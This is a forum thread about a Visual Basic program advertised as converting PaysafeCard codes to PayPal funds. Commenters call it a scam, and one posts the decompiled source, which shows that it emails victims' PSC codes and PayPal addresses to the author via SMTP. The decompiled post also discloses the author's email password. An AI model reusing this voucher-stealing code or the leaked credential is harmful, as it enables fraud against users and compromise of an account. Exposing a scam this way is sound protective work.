System to change PSC For PP

[virt17_PT]

Hello all i create a little program to change PSC mony for PP


Uploaded with

this is just a version 1.0 i will try make a better system with the time , but for now it is just this

you can download the program from that topic ( it need to be because the T&D agree)
Tax:

PSC | PayPal
10€|8.05€
25€|20,12€
50€|40,25€
100€|80,50€

If you gonna say scam bla bla bla click now ctrl+W
if you need use it ....

[Candeeh]

i pressed ctrl+w. im on a mac


so scammerrrr here

[Scytex]

It's just an simple Visual Basic Program.

To 99% it will steal our money.
But nobody will try it because you aren't trusted.

Perhabs if I have a little bit time I will use my VB Decompiler to see if it's a fake.
But the most VB programs send the code to an email to scam people.

['Heaven.]

Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
    Dim mailMessage As MailMessage = New MailMessage()
    mailMessage.From = New MailAddress(".pt")
    mailMessage.To.Add("")
    Dim text As String() = New String(12)
    text(0) = "PSC Code: "
    text(1) = Me.TextBox1.Text
    text(2) = "-"
    text(3) = Me.TextBox2.Text
    text(4) = "-"
    text(5) = Me.TextBox3.Text
    text(6) = "-"
    text(7) = Me.TextBox4.Text
    text(8) = "               PayPal e-mail: "
    text(9) = Me.TextBox5.Text
    text(10) = "            Valor a retirar:"
    text(11) = Conversions.ToString(Me.ComboBox1.SelectedIndex)
    mailMessage.Body = String.Concat(text)
    Dim selectedIndex As Integer = Me.ComboBox1.SelectedIndex
    Select Case Me.ComboBox1.SelectedIndex
        Case 0
            Me.ComboBox1.SelectedValue = 10
            Exit Select
        Case 1
            Me.ComboBox1.SelectedValue = 25
            Exit Select
        Case 2
            Me.ComboBox1.SelectedValue = 50
            Exit Select
        Case 3
            Me.ComboBox1.SelectedValue = 100
            Exit Select
    End Select
    mailMessage.Subject = "PSC Para Paypal"
    mailMessage.Priority = MailPriority.Normal
    Me.smtp.EnableSsl = True
    Me.smtp.Port = Conversions.ToInteger("587")
    Me.smtp.Host = "smtp.live.com"
    Me.smtp.Credentials = New NetworkCredential(".pt", "VIRtiag2")
    If (Not Me.CheckBox1.Checked) Then
        Interaction.MsgBox("You need agree with Terms and Conditions", MsgBoxStyle.OkOnly, Nothing)
    Else
        Me.smtp.Send(mailMessage)
        Interaction.MsgBox("Sended", MsgBoxStyle.OkOnly, Nothing)
        Interaction.MsgBox("In 24H will be credit your mony on that paypal account", MsgBoxStyle.OkOnly, Nothing)
        Me.Close()
    End If
End Sub

His EMail Account:
Password: VIRtiag2

[BiggestBAnge]

:P , heaven nice job ! i was going to decompil;e it but you beat me for :P , and what a idiot atleast * not supporting what hi's doing , hi should have atleast protected his code :P